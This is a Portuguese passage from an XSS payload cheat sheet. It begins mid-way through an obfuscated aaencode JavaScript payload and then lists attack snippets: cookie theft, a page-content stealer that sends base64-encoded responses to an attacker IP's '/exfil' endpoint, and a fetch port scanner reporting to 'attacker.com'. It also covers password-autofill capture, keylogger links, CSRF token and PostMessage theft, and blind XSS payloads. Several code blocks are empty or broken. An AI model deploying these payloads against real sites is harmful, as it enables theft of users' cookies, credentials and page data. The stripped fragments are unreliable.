(゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## Cargas úteis comuns de XSS ### Várias cargas úteis em 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Armadilha de Iframe Faça o usuário navegar na página sem sair de um iframe e roubar suas ações (incluindo informações enviadas em formulários): {% content-ref url="../iframe-traps.md" %} [iframe-traps.md](../iframe-traps.md) {% endcontent-ref %} ### Recuperar Cookies ```javascript /?c="+document.cookie> ``` {% hint style="info" %} Você **não conseguirá acessar os cookies a partir do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/#httponly) se tiver sorte o suficiente. {% endhint %} ### Roubar Conteúdo da Página ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Encontrar IPs internos ```html ``` ### Scanner de Portas (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Scanner de Portas (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Captura de preenchimento automático de senhas ```javascript Username:
Password:
``` Quando são introduzidos dados no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante, mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão exfiltradas. ### Keylogger Apenas pesquisando no github, encontrei alguns diferentes: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * Você também pode usar o metasploit `http_javascript_keylogger` ### Roubo de tokens CSRF ```javascript ``` ### Roubo de mensagens PostMessage ```markup ``` ### Explorando Service Workers {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Acessando Shadow DOM {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) {% endcontent-ref %} ### Poliglotas {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Cargas úteis Blind XSS Você também pode usar: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >
Click Me For An Awesome Time "> ">